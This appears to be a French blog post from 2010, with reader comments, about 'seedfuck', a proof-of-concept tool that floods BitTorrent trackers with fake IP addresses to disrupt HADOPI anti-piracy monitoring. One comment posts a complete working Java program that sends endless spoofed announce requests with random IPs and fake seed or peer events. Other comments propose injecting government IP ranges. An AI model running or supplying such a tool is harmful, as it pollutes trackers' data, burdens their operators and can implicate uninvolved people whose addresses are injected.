Home Pas très Net HADOPI Torrent Poisoning : le p0c qui vient de tuer HADOPI
formats

Torrent Poisoning : le p0c qui vient de tuer HADOPI

Publié le 15 avril 2010 par dans HADOPI, Sécurité

flattr this!

Comme prévu, même un peu en avance sur le calendrier, un code de Torrent poisoning est maintenant disponible, l’info vient d’être publiée ici. Répondant au doux nom de seedfuck, il sert à inonder les trackers Torrent de fausses adresses IP, tout comme The Pirate Bay l’avait promis. Le p0c est écrit en C Mono mais ne demande visiblement qu’à être porté.

Pour faire simple, voici comment ça fonctionne : on génère de fausses IP créant de l’activité sur un Hash (identifiant unique d’un fichier) donné, ces fausses ip génère du trafic et des events (donwload complété par exemple ou octets restants à télécharger).

Rappelons que la HADOPI surveillera une liste donnée d’oeuvres par leur Hash, ce qui veut dire que le bruit généré sur ces oeuvres surveillées va créer un sacré bazar.

… pire, un binaire Windows serait même déjà prêt !

On risque donc, aux premiers envois de mails de se payer de bonnes barres de rire, en retrouvant par exemple les IP de la rue de Valois dans les plus gros téléchargeurs.

Le code source est disponible ici.



Billets aléatoirement en relation... ou pas:


 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
16 Comments  comments 

16 réponses

  1. Hmm, ça m'a l'air bien sympa mais…ce n'est pas à double tranchant ?
    Si les peers commencent à injecter des IP en masse, comment vont le prendre les trackers ?
    Les serveurs sauront-ils faire la différence ? (et les peers entre eux ?) et les admin de tracker privés, ça va leur plaire ?

    Et dans l'éventualité où il est techniquement possible pour les tracker (et les peers entre eux) de reconnaître les peers valides des fake; pourquoi n'en serait-il pas de même pour les serveurs d'Hadopi ?

    Anéfé, je demande des éclaircissements :)

  2. Hello,

    C'est effectivement à double tranchant, HADOPI va se régaler en disant qu'elle a été super efficace en envoyant des millers de courriers. Mais imaginez le nombre de contestations qu'elle risque de se prendre.
    En examinant le code, on se rend compte qu'il génère du trafic entre le fausses paires ce qui risque de rendre la détection fort complexe…. en tout cas plus onéreuse. Les trackers risquent donc d'être très pollués, c'est vrai.
    Mais vu que Hadopi ne va même pas se pencher sur le fait de savoir si un hash correspond bien à une oeuvre en téléchargeant le fichier pour s'assurer que c'est un file txt de 700mo avec le hash d'une oeuvre , ceci la forcerait à plus de vigilance à la collecte des IP si elle ne veut pas s'autospammer ou spammer la rue de Valois.
    TPB l'avait promis et c'est maintenant une menace bien réelle.

    Il ne s'agit pour le moment que d'un proof of concept,certes, mais il a, à mon sens de quoi donner quelques sueurs froides à l'HADOPI.

    Compilé, le programme pèse 5ko… ce qui veut dire qu'il est "trojan ready" … rien que ça …

    • Robert

      Bonjour,
      Je ne suis qu'un retraité qui fait du DL pour raisons économiques, et surtout un farouche libertaire, voire anarchiste. Comment obtenir un programme qui me permettrait de noyer ce P….N d' Hadopi sous un déluge d'IP, si possible gouvernementales ou autres ? Merci infiniment. Continuez à défendre nos libertés. Robert

  3. C'est parfait ce petit truc ^^, par contre oui pour les téléchargements je pense que le peer ne recevra rien même si il y a d'indiqué 100% sur ces faux peers.

    Vivement sa sortie ;)

  4. gandalfpremeir

    Ce petit bout de programme est inutile !!! Ce n'est pas le contenu qui fait l'enveloppe :)
    Le contenu de la la requête contient une fausse adresse ip, mais les enveloppe (ou trame) tcp/ip contiennent la véritable provenance et destination.
    J'ose espérer que HADOPI se basera sur les trames IP plutôt que sur les contenue sinon ce serait vraiment trop facile !!
    Il est très facile à un programme de vérifier que l'adresse IP contenue dans la requête http est la même que celle d'ou provient cette requête dans la trame IP.

    Faut travailler encore un peu :)

    • A mon avis, il est itnéressant de lire le premier décret d'application (vous allez voir c'est très drôle … )
      Second point quel va être le surcout de la procédure si les ayants droits doivent constituer un dossier qui nécessite une once d'investigation humaine là où était prévu un traitement 100% automatisé ?

    • reno

      il faudrait spoofer l’ip source dans le paquet et tant qu’a faire la mac src dans la trame :)

  5. DarkAngel

    Parceque vous pensez vraiment qu'hadopi va utiliser les Ip contenu dans une URL pour fliquer ?
    parceque le code en question ne fait que mettre une ip bidon dans une URL donc votre IP a vous est toujours visible……
    j'dis ca j'dis rien…….

  6. Knell

    Je pense que l'idéal serait que ce truc spam les tracker avec le range IP de la rue de Valloi…. Ca, ca serait tres tres fort :)

  7. Azazello

    Il ne reste plus qu'a intégrer les IPs issus des blacklist d'emule contenant toutes les IP gouvernementales, militaires et relatives aux ayants droits… et on est bon pour vraiment rire !

  8. Stlan

    Juste une petite rectification technique: le language de programation utilisé est le C# (à prononcer C-SHARP). Il peut être exécuté sour .NET (le framework de Microsoft) ou bien sous Mono (l'alternative open source du .Net framework). Mais le portage vers un autre language est trivial vu la simplicité du code proposé.

  9. azd

    Putain merci pour cet article, je vient de découvrir un nouveau langage : le C mono… lol

  10. Shill

    A utiliser avec parcimonie…
    par exemple en forçant l’utilisation d’ip gouvernementales, et surtout pas des ip de particuliers…

  11. canard

    package tpsf;

    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.net.URL;
    import java.net.URLConnection;
    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.Calendar;
    import java.util.Random;

    public class ToPoSeFu {
    static String tracker;
    static String hash;

    /**
    * @param args
    * @throws InterruptedException
    */
    public static void main(String[] args) throws InterruptedException {
    tracker = "http://tracker.example.com";
    hash = "1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1";

    ArrayList<Thread> tp = new ArrayList<Thread>();
    for (int i = 0; i < 5; i++) {
    tp.add(new Thread( new TorrentThread() ));
    tp.get(i).start();
    Thread.sleep(10);
    }
    while (true) {
    Thread.sleep(50);
    }
    }

    static class TorrentThread implements Runnable {
    @Override
    public void run() {

    // encode the hash
    String hashEncoded = "";
    for (int i = 0; i < 20; i++) {
    hashEncoded += "%" + ToPoSeFu.hash.charAt(i * 2) + ToPoSeFu.hash.charAt((i * 2) + 1);
    }

    // enter the main loop
    while (true) {
    // generate a random IP address
    String ip = GenerateIP();
    // create a timestamp for display purposes
    SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss");
    String time = sdf.format(Calendar.getInstance().getTime());

    // if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
    boolean completed = (RNG.next(0, 3) == 0);
    String torrentEvent = (completed ? "completed" : "started");
    // pick a random size
    int left = (completed ? 0 : RNG.next(1024 * 1024 * 2, 1024 * 1024 * 1024));
    // create the url – change the announce url to whatever your particular torrent is using
    String url = ToPoSeFu.tracker + "/announce?info_hash=" + hashEncoded +
    "&peer_id=" + RNG.next(1000000, 9999999) + RNG.next(100000, 999999) + RNG.next(1000000, 9999999) +
    "&port=" + RNG.next(5000, 32000) + "&uploaded=0&downloaded=0&left=" + left +
    "&event=" + torrentEvent + "&numwant=5&ip=" + ip;
    // attempt the announce
    try {
    ToPoSeFu.DownloadData(url);
    System.out.println("[" + time + "] Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip + "]" + this);
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    }
    }

    public static String DownloadData(String url) throws IOException {
    URL _url = new URL(url);
    URLConnection con = _url.openConnection();
    con.setUseCaches(false);
    //con.connect();
    String type = null; //con.getContentType();

    // useless
    if (type != null) {
    byte[] buffer = new byte[4 * 1024];
    int read;

    ByteArrayOutputStream os = new ByteArrayOutputStream();
    InputStream in = con.getInputStream();

    while ((read = in.read(buffer)) > 0) {
    os.write(buffer, 0, read);
    }

    os.close();
    in.close();

    return os.toString();
    } else {
    return "FAILED_UKNOWNTYPE";
    }
    }

    static String GenerateIP() {
    // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
    return RNG.next(50, 220) + "." + RNG.next(10, 100) + "." + RNG.next(1, 255) + "." + RNG.next(1, 255);
    }

    static class RNG {
    private static Random _rnd = new Random();
    public static int next(int min, int max) {
    return min + _rnd.nextInt(max-min);
    }
    }
    }

  12. undercorp

    hey didonc "canard tu causse mailleur" hein! ; b
    un poil de commentaire pour decrir un peu ton code aurrait ete sympas (pasque lâ c un poil indigeste quand meme

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *


− 4 = quatre

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>